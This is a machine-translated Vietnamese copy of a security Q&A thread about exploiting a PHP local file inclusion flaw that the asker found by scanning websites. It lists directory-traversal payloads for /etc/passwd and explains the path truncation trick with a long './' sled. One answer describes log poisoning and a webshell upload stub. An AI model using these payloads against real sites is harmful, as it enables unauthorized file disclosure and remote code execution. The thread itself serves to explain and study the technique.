it-swarm-vi.com

Làm cách nào tôi có thể sử dụng đường dẫn này bỏ qua / khai thác Local File Inclusion?

Tôi đã thử chạy tập lệnh quét lỗ hổng (Uniscan 6.0) trên một số trang web và sau đó tôi tìm thấy một trang web có thể khai thác với đường dẫn sau đây. (bao gồm một từ "không hợp lệ", thông số/trang web đều bị kiểm duyệt)

http://www.website.com/index.php?param1=invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.&param2=value&param3=value

Đối với bước tiếp theo của tôi, tôi thực sự muốn hiểu chính xác những gì xảy ra nên tôi đang cố gắng khai thác nó bằng tay. (Tôi đã xem một số hướng dẫn về LFI)

  1. ../../../../../../../../../../../../../../../etc/passwd& .. .
  2. không hợp lệ ../../../../../../../../../../../../../../../ etc/passwd &. ..
  3. ../../../../../../../../../../../../../../../etc/passwd%00& ...
  4. ../../../../../../../../../../../../../../../etc/passwd/. /./& ...
  5. ../../../../../../../../../../../../../../../etc/passwd%00 /. /. /% ...

nhưng họ đã không làm việc ngoại trừ con đường rất dài đầu tiên, chuyện gì đang xảy ra?

Tôi nên sử dụng mã php nào? Và làm thế nào mà con đường dài đó có thể vượt qua mã php dễ bị tổn thương đó?

Các thông tin sau có thể hữu ích.

< HTTP/1.1 200 OK
< Date: Thu, 19 Jul 2012 19:46:03 GMT
< Server: Apache/2.2.3 (CentOS)
< X-Powered-By: PHP/5.1.6
< Set-Cookie: PHPSESSID=[blah-blah]; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 2094
< Content-Type: text/html
30
Smile.Hunter

Hấp dẫn! @catalyze đã đào lên một tình huống thực sự hấp dẫn, đáng yêu ở đây. Tôi muốn dành thời gian để tóm tắt những gì đang diễn ra ở đây, trên trang web này. (Tín dụng đầy đủ cho @catalyze và Francesco "ascii" Ongaro; Tôi chỉ tóm tắt những gì họ đã giải thích.)

Tóm tắt. Đây không phải là một cuộc tấn công LFI hàng ngày. Thay vào đó, đây là một cái gì đó bất thường và thông minh hơn. Ở đây chúng tôi có một lỗ hổng không thể khai thác thông qua các phương pháp LFI tiêu chuẩn; bạn cần nhiều sự khéo léo hơn để tìm ra cách khai thác nó.

Bối cảnh. Trước tiên, tôi cần cho bạn biết hai sự thật về việc xử lý tệp của PHP được phát hiện bởi Francesco "ascii" Ongaro và những người khác:

  • Sự thật 1. Bạn có thể thêm nội dung vào cuối tên tệp. Mọi người đều biết rằng /./etc/passwd chỉ là một cách khác để chỉ /etc/passwd tập tin. Nhưng, đây là một số bạn có thể không biết về.

    Trên PHP, hóa ra là /etc/passwd/ cũng đề cập đến /etc/passwd file: dấu gạch chéo bị tước bỏ. Hoang dã hả? Điều này không hoạt động trên Unix cơ sở, vì vậy có một chút ngạc nhiên khi PHP sẽ chấp nhận tên tệp như vậy, nhưng có vẻ như PHP tự thoát ra dấu gạch chéo trước khi mở tập tin.

    Bạn có thể nối thêm bất kỳ số dấu gạch chéo nào: /etc/passwd//// cũng ổn.

    Và, bạn có thể nối thêm ./ (bao nhiêu lần bạn muốn). Ví dụ, /etc/passwd/., /etc/passwd/.//etc/passwd/././. tất cả đều đề cập đến /etc/passwd. Đi hạt dẻ! PHP không quan tâm.

  • Sự thật 2. Đường dẫn dài bị cắt ngắn. Trên hầu hết các cài đặt PHP, nếu tên tệp dài hơn 4096 byte, nó sẽ bị cắt ngắn và mọi thứ sau 4096 byte đầu tiên sẽ bị loại bỏ. Không có lỗi nào được kích hoạt: các ký tự thừa chỉ đơn giản là bị vứt đi và PHP vui vẻ tiếp tục.

Cuộc tấn công. Bây giờ tôi đã sẵn sàng để mô tả cuộc tấn công. Tôi sẽ chỉ cho bạn mã dễ bị tổn thương, tại sao các cuộc tấn công LFI tiêu chuẩn không hoạt động, và sau đó là cách xây dựng một cuộc tấn công thông minh hơn mà hiệu quả. Kết quả giải thích những gì @catalyze nhìn thấy trong năm phút của mình.

Mã dễ bị tổn thương. Giả sử chúng ta có mã trông giống như thế này:

<?php
include("includes/".$_GET['param1'].".php");
?>

Điều này trông giống như một tệp cục bộ bao gồm lỗ hổng (LFI), phải không? Nhưng tình hình thực sự phức tạp hơn một chút so với lần đầu tiên xuất hiện. Để xem tại sao, chúng ta hãy xem xét một số cuộc tấn công.

Tấn công tiêu chuẩn. Cách tiêu chuẩn, ngây thơ để cố gắng khai thác lỗ hổng LFI này là cung cấp một tham số trông giống như ?param1=../../../../var/www/shared/badguy/evil. Đoạn mã PHP ở trên sẽ cố gắng bao gồm tệp includes/../../../../var/www/shared/badguy/evil.php. Nếu chúng ta giả sử rằng tệp /var/www/shared/badguy/evil.php tồn tại và được điều khiển bởi kẻ tấn công, sau đó cuộc tấn công này sẽ thành công trong việc khiến ứng dụng thực thi mã độc do kẻ tấn công chọn.

Nhưng điều này chỉ hoạt động nếu kẻ tấn công có thể giới thiệu một tệp có nội dung mà anh ta chọn lên hệ thống tệp, với tên tệp kết thúc bằng .php. Điều gì xảy ra nếu kẻ tấn công không kiểm soát bất kỳ tệp nào trên hệ thống tệp kết thúc bằng .php? Chà, sau đó, các cuộc tấn công tiêu chuẩn sẽ thất bại. Bất kể giá trị tham số nào mà kẻ tấn công cung cấp, điều này sẽ chỉ mở một tên tệp kết thúc bằng .php sự mở rộng.

Một cuộc tấn công tinh vi hơn. Với các thông tin cơ bản bổ sung mà tôi đã cung cấp cho bạn trước đó, có thể bạn có thể thấy cách đưa ra một cuộc tấn công tinh vi hơn đánh bại giới hạn này.

Về cơ bản, kẻ tấn công chọn một giá trị tham số rất dài, để tên tệp được xây dựng dài hơn 4096 byte. Khi tên tệp bị cắt ngắn, .php phần mở rộng sẽ bị ném đi. Và nếu kẻ tấn công có thể sắp xếp tên tệp kết quả để tham chiếu đến một tệp hiện có trên hệ thống tệp, thì kẻ tấn công là tốt.

Bây giờ điều này có vẻ như một cuộc tấn công rất xa. Tỷ lệ cược mà chúng ta có thể tìm thấy một tên tệp trên hệ thống tệp có đường dẫn đầy đủ xảy ra dài chính xác 4096 byte là bao nhiêu? Có lẽ không tốt?

Đây là nơi các sự kiện nền đi vào chơi. Kẻ tấn công có thể gửi yêu cầu với ?param1=../../../../etc/passwd/./././././<...> (với ./ mẫu lặp đi lặp lại hàng ngàn lần). Bây giờ hãy xem tên tệp được bao gồm, sau khi tiền tố được thêm vào trước và .php phần mở rộng tập tin được thêm vào: nó sẽ giống như includes/../../../../etc/passwd/./././././<...>.php. Tên tệp này sẽ dài hơn 4096 byte, vì vậy nó sẽ bị cắt ngắn. Việc cắt bớt sẽ bỏ phần mở rộng tập tin và để lại cho chúng tôi một tên tệp có dạng includes/../../../../etc/passwd/./././././<...>. Và, nhờ vào cách PHP xử lý dấu gạch chéo và dấu ./ trình tự, tất cả những thứ ở cuối sẽ bị bỏ qua. Nói cách khác, tên tệp này sẽ được xử lý bởi PHP tương đương với đường dẫn includes/../../../../etc/passwd. Vì vậy, PHP sẽ cố đọc từ tệp mật khẩu và khi tìm thấy PHP lỗi cú pháp ở đó, nó có thể đổ nội dung của tệp mật khẩu vào một lỗi trang - tiết lộ thông tin bí mật cho kẻ tấn công.

Vì vậy, kỹ thuật này cho phép khai thác một số lỗ hổng mà mặt khác không thể khai thác thông qua các phương pháp tiêu chuẩn. Xem các trang mà @catalyze liên kết để thảo luận chi tiết hơn và nhiều ví dụ khác.

Điều này cũng giải thích tại sao @catalyze không thể khai thác cuộc tấn công bằng cách gửi một cái gì đó như ?param1=../../../../etc/passwd: a .php tiện ích mở rộng đã được thêm vào và tệp /etc/passwd.php không tồn tại, nên cuộc tấn công thất bại.

Tóm tắt. Đặc thù trong việc xử lý các đường dẫn tệp của PHP cho phép tất cả các loại tấn công tinh vi vào các lỗ hổng mà nếu không sẽ xuất hiện không thể khai thác. Đối với pentesters, những kỹ thuật tấn công này có thể đáng để biết.

Đối với các nhà phát triển, bài học là như nhau: xác nhận đầu vào của bạn; không tin tưởng đầu vào được cung cấp bởi kẻ tấn công; biết về các lỗ hổng web cổ điển và không đưa chúng vào mã của bạn.

33
D.W.

Cuối cùng, tôi đã tìm ra giải pháp!

Các kỹ thuật bỏ qua của LFI này được gọi là Tấn công cắt ngắn đường dẫn

Kịch bản:

  • Không có danh sách trắng/đen, open_base_dir hoặc bất kỳ cấu hình truy cập hạn chế nào
  • Có Magic_quotes thoát nullbyte khi addlash () được gọi ngầm trên tất cả các đầu vào GPC và SERVER. (trong trường hợp này etc/passwd%00 sẽ trở thành etc/passwd\0, vì vậy nó không thể đánh giá là tệp chính xác.)
  • include_path (trong php.ini ) chứa ở cái cuối cùng đường dẫn tuyệt đối để kích hoạt một phần dễ bị tổn thương phức tạp trong mã nguồn của PHP (ví dụ: bao gồm_path = ".:/usr/share/php" )
  • PHP <? (Ai biết?)

Khối hàng:

  • Phải bắt đầu với một thư mục không tồn tại
  • Tiếp tục với xe trượt ngang, chỉ vào đường dẫn để bao gồm
  • Kết thúc với việc chuẩn hóa/cắt xén sled.

Người thông minh đang ở đây ..

http://www.ush.it/2009/02/08/php-filesystem-attack-vector/

http://www.ush.it/2009/07/26/php-filesystem-attack-vector-take-two/

7
Smile.Hunter

Tôi sẽ trả lời câu hỏi này với lời cảnh báo rằng tôi đang đưa ra một giả định rằng nó được sử dụng cho mục đích pháp lý và chỉ dành cho nghiên cứu bảo mật.

Nếu chúng ta đang nói về một trang web PHP, thì đây có lẽ là điều đang xảy ra trong phần phụ trợ:

$file = fopen($_GET["param"], "r");
/* Do some operation on the file handler, like maybe read the file and output it */
$contents = fread($file, $size);
print $contents

Bạn có khả năng có thể khai thác LFI này để tải lên webshell của bạn và chạy các lệnh hệ thống trên web Shell. Cách đơn giản nhất để thực hiện việc này là đưa vào access.log và truy cập access.log. Cách đơn giản nhất để thực hiện việc này là sửa đổi Tác nhân người dùng, hoặc thậm chí là yêu cầu GET, bao gồm một số PHP sẽ giúp bạn thiết lập trình quản lý. Ví dụ: telnet vào trang web và yêu cầu sau đây, nên đưa vào access.log:

GET/ <?php phpinfo() ?>

Rõ ràng, tất cả những gì sẽ làm là giúp bạn có được PHP Thông tin từ access.log, nhưng bạn có ý tưởng. Bây giờ, trên cùng một dòng, bạn có thể dễ dàng làm một cái gì đó như:

GET/ <?php data = $_REQUEST['data']; $filename = $_REQUEST['filename']; file_put_contents($filename,base64_decode($data)); ?>

và sau đó tải lên một mã cơ sở64 được mã hóa PHP script vào đó và đưa web Shell của bạn lên đó. Tôi sẽ để bạn tìm ra phần còn lại của nó, nó không khó tất cả. Có một hướng dẫn thực sự đa phần cho việc này trên Kaotic Creations mà bạn thực sự nên đọc, nếu bạn muốn tìm hiểu thêm về điều này.

5
Karthik Rangarajan